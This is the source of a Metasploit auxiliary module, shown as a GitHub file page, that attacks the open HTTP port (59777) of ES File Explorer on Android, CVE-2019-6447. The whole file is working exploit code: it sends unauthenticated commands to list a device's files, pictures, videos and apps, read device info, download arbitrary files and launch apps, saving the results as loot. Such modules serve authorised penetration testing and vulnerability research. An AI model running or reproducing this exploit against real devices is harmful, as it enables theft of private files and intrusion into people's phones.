/
es_file_explorer_open_port.rb
297 lines (290 loc) · 11.7 KB
/
es_file_explorer_open_port.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'ES File Explorer Open Port',
'Description' => %q{
This module connects to ES File Explorer's HTTP server to run
certain commands. The HTTP server is started on app launch, and is available
as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable
This module has been tested against 4.1.9.5.1.
},
'References' =>
[
['CVE', '2019-6447'],
['URL', 'https://www.ms509.com/2016/03/01/es-explorer-vul/'],
['URL', 'https://github.com/fs0c131y/ESFileExplorerOpenPortVuln'],
['URL', 'https://twitter.com/fs0c131y/status/1085460755313508352'],
],
'Author' => [
'小荷才露尖尖角', # discovery (2016)
'moonbocal', # discovery (2019)
'fs0c131y', # poc
'h00die' # msf module
],
'DisclosureDate' => 'Jan 16 2019',
'License' => MSF_LICENSE,
'Actions' => [
['LISTFILES', 'Description' => 'List all the files on the sdcard'],
['LISTPICS', 'Description' => 'List all the pictures'],
['LISTVIDEOS', 'Description' => 'List all the videos'],
['LISTAUDIOS', 'Description' => 'List all the audio files'],
['LISTAPPS', 'Description' => 'List all the apps installed'],
['LISTAPPSSYSTEM', 'Description' => 'List all the system apps installed'],
['LISTAPPSPHONE', 'Description' => 'List all the phone apps installed'],
['LISTAPPSSDCARD', 'Description' => 'List all the apk files stored on the sdcard'],
['LISTAPPSALL', 'Description' => 'List all the apps installed'],
['GETDEVICEINFO', 'Description' => 'Get device info'],
['GETFILE', 'Description' => 'Get a file from the device. ACTIONITEM required.'],
['APPLAUNCH', 'Description' => 'Launch an app. ACTIONITEM required.'],
],
'DefaultAction' => 'GETDEVICEINFO',
)
register_options([
Opt::RPORT(59777),
OptString.new('ACTIONITEM', [false,'If an app or filename if required by the action']),
])
end
def sanitize_json(j)
j.gsub!("},\r\n]", "}]")
j.gsub!("'", '"')
return j.gsub('", }', '"}')
end
def http_post(command)
send_request_raw(
'uri' => '/',
'method' => 'POST',
'data' => "{ \"command\":#{command} }",
'ctype' => 'application/json',
)
end
def run_host(target_host)
case
when action.name == 'LISTFILES'
res = http_post('listFiles')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listFiles.json', 'application/json', target_host, res.body, 'es_file_explorer_listfiles.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['type']}: #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}\n"
end
print_good(pretty_response)
when action.name == 'LISTPICS'
res = http_post('listPics')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listPics.json', 'application/json', target_host, res.body, 'es_file_explorer_listpics.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"
end
print_good(pretty_response)
when action.name == 'LISTVIDEOS'
res = http_post('listVideos')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listVideos.json', 'application/json', target_host, res.body, 'es_file_explorer_listvideos.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"
end
print_good(pretty_response)
when action.name == 'LISTAUDIOS'
res = http_post('listAudios')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listAudio.json', 'application/json', target_host, res.body, 'es_file_explorer_listaudio.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['name']} (#{f['size'].split(' (')[0]}) - #{f['time']}: #{f['location']}\n"
end
print_good(pretty_response)
when action.name == 'LISTAPPS'
res = http_post('listApps')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listApps.json', 'application/json', target_host, res.body, 'es_file_explorer_listapps.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
end
print_good(pretty_response)
when action.name == 'LISTAPPSSYSTEM'
res = http_post('listAppsSystem')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listAppsSystem.json', 'application/json', target_host, res.body, 'es_file_explorer_listappssystem.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
end
print_good(pretty_response)
when action.name == 'LISTAPPSPHONE'
res = http_post('listAppsPhone')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listAppsPhone.json', 'application/json', target_host, res.body, 'es_file_explorer_listappsphone.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
end
print_good(pretty_response)
when action.name == 'LISTAPPSSDCARD'
res = http_post('listAppsSdcard')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listAppsSdcard.json', 'application/json', target_host, res.body, 'es_file_explorer_listappssdcard.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
end
print_good(pretty_response)
when action.name == 'LISTAPPSALL'
res = http_post('listAppsAll')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('listAppsAll.json', 'application/json', target_host, res.body, 'es_file_explorer_listappsall.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
pretty_response = "#{peer}\n"
json_resp.each do |f|
pretty_response << " #{f['label']} (#{f['packageName']}) Version: #{f['version']}\n"
end
print_good(pretty_response)
when action.name == 'GETDEVICEINFO'
res = http_post('getDeviceInfo')
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable or Bad Response")
return
end
path = store_loot('getDeviceInfo.json', 'application/json', target_host, res.body, 'es_file_explorer_getdeviceinfo.json')
vprint_good("#{peer}- Result saved to #{path}")
json_resp = JSON.parse(sanitize_json(res.body))
print_good("#{peer}- Name: #{json_resp['name']}")
when action.name == 'GETFILE'
unless datastore['ACTIONITEM'].start_with?('/')
print_error('Action item is a path for GETFILE, like /system/app/Browser.apk')
end
res = send_request_raw(
'uri' => datastore['ACTIONITEM'],
'method' => 'GET',
'ctype' => 'application/json',
)
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable, Bad Response. File may not be available for download.")
return
end
path = store_loot('getFile', 'application/octet-stream', target_host, res.body, datastore['ACTIONITEM'])
print_good("#{peer}- #{datastore['ACTIONITEM']} saved to #{path}")
when action.name == 'APPLAUNCH'
if datastore['ACTIONITEM'].empty?
print_error('Action item is a path for GETFILE, like com.android.chrome')
end
res = send_request_raw(
'uri' => '/',
'method' => 'POST',
'data' => "{ \"command\":appLaunch, \"appPackageName\":#{datastore['ACTIONITEM']} }",
'ctype' => 'application/json',
)
unless res
print_error("#{peer}- Error Connecting")
return
end
unless res.code == 200
print_error("#{peer}- Not Vulnerable, Bad Response. File may not be available for download.")
return
end
if res.body.include?('NameNotFoundException')
print_error("#{peer}- Application #{datastore['ACTIONITEM']} not found on device")
return
elsif res.body.include?('{"result":"0"}')
print_good("#{peer}- #{datastore['actionitem']} launched successfully")
end
end
end
end